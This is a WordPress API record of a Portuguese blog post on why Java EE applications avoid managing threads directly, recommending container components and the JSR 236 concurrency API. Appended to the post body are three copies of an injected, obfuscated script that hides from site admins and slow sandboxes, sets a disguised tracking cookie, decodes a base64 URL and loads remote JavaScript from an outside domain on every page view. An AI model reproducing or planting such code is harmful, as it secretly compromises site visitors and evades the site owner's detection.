{"id":4162,"date":"2015-06-30T14:30:44","date_gmt":"2015-06-30T17:30:44","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=4162"},"modified":"2025-10-26T22:31:49","modified_gmt":"2025-10-27T01:31:49","slug":"threads-no-escopo-jee","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2015\/06\/30\/threads-no-escopo-jee\/","title":{"rendered":"Threads no escopo JEE"},"content":{"rendered":"<p>Quando eu entrevisto algu\u00e9m pra uma vaga de emprego, eu sempre pergunto se podemos utilizar threads em escopo JEE. J\u00e1 recebi v\u00e1rias, resposta, algumas preocupantes, outras espertas. Resolvi fazer um post para esclarecer essa quest\u00e3o.<\/p>\n<p>A pr\u00f3pria <a href=\"http:\/\/www.oracle.com\/technetwork\/java\/restrictions-142267.html#threads\" target=\"_blank\" rel=\"noopener\">documenta\u00e7\u00e3o da Oracle<\/a> deixa claro que a fun\u00e7\u00e3o do gerenciamento de threads \u00e9 do pr\u00f3prio container. A <a href=\"https:\/\/jcp.org\/aboutJava\/communityprocess\/final\/jsr220\/index.html\">especifica\u00e7\u00e3o<\/a> diz que \u00e9 proibido o uso de threads.<\/p>\n<blockquote><p>The enterprise bean must not attempt to manage threads. The enterprise bean must not attempt to start, stop, suspend, or resume a thread, or to change a thread\u2019s priority or name. The enterprise bean must not attempt to manage thread groups.<\/p><\/blockquote>\n<p>Permitir que a aplica\u00e7\u00e3o fa\u00e7a o controle de threads ir\u00e1 interferir no controle do ciclo de vida dos componentes do container. Ent\u00e3o estamos proibidos de usar threads diretamente na aplica\u00e7\u00e3o (elas existem, mas controladas pelo container). O uso direto delas implicaria na viola\u00e7\u00e3o e perda dos recursos fornecidos pelo container: seguran\u00e7a, clustering, controle de transa\u00e7\u00e3o e afins.<\/p>\n<p>Mesmo o controle sendo feito no container, podemos utilizar as vantagens que as threads oferecem sem comprometer a integridade do container. Na maioria dos casos, conhecer os componentes poss\u00edveis da arquitetura \u00e9 suficiente para n\u00e3o utilizar threads diretamente. Por exemplo, um envio de e-mail em lote pode ser desenvolvido com uma fila JMS em conjunto com um MDB. Um agendamento, pode ser feito utilizando Quartz ou um Timer Service.<\/p>\n<p>Al\u00e9m das threads, se voc\u00ea leu as refer\u00eancias acima, ir\u00e1 ver que n\u00e3o podemos nem gravar arquivos dentro do container, pois voc\u00ea perderia o controle da concorr\u00eancia, em ambientes clusterizados voc\u00ea teria problemas com arquivos que n\u00e3o s\u00e3o distribu\u00eddos em v\u00e1rias m\u00e1quinas, opera\u00e7\u00f5es com arquivos tamb\u00e9m n\u00e3o s\u00e3o transacionais e teria problemas com seguran\u00e7a. Caso deseja realmente fazer isso, voc\u00ea ter\u00e1 que desenvolver esse controle manualmente, como um sistema de arquivo distribuido entre os n\u00f3s do cluster, controle de transa\u00e7\u00e3o manual como um arquivo de lock, um controle de concorr\u00eancia para garantir que um arquivo seja lido ou escrito por vez, eliminando a concorr\u00eancia entre os clusters e um mecanismo de detec\u00e7\u00e3o ou compensa\u00e7\u00e3o de erro ou rollback em caso de falhas entre as opera\u00e7\u00f5es utilizando arquivos. O que n\u00e3o \u00e9 uma tarefa f\u00e1cil, mas \u00e0s vezes se faz necess\u00e1rio.<\/p>\n<p>H\u00e1 casos espec\u00edficos que existe a necessidade de uso threads, mas devemos fazer isso sem comprometer o container, para isso h\u00e1 solu\u00e7\u00f5es como a <a href=\"https:\/\/jcp.org\/en\/jsr\/detail?id=236\">JSR 236<\/a>, que \u00e9 a api de utilit\u00e1rios de concorr\u00eancia (vulgo, usar thread do jeito certo) e se tornou padr\u00e3o na especifica\u00e7\u00e3o do JEE 7. H\u00e1 uma boa refer\u00eancia do uso <a href=\"http:\/\/blog.chris-ritchie.com\/2013\/09\/simple-concurrency-example-with-wildfly.html\" target=\"_blank\" rel=\"noopener\">aqui<\/a> e <a href=\"http:\/\/blog.chris-ritchie.com\/2013\/10\/managed-thread-factory-example-in-wildfly.html\" target=\"_blank\" rel=\"noopener\">aqui<\/a>.<\/p>\n<p>Resumindo: Evite o uso de threads em escopo JEE, caso voc\u00ea identifique a necessidade, verifique se algum componente padr\u00e3o resolve o seu problema, caso contr\u00e1rio, utilze APIs adequadas para usar threads sem comprometer os recursos fornecidos pelo JEE.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Quando eu entrevisto algu\u00e9m pra uma vaga de emprego, eu sempre pergunto se podemos utilizar threads em escopo JEE. J\u00e1 recebi v\u00e1rias, resposta, algumas preocupantes, outras espertas. Resolvi fazer um post para esclarecer essa quest\u00e3o. A pr\u00f3pria documenta\u00e7\u00e3o da Oracle <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2015\/06\/30\/threads-no-escopo-jee\/\">Continue lendo  <span class=\"screen-reader-text\">  Threads no escopo JEE<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,10],"tags":[],"class_list":["post-4162","post","type-post","status-publish","format-standard","hentry","category-java","category-jee"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4162","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=4162"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4162\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=4162"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=4162"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=4162"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}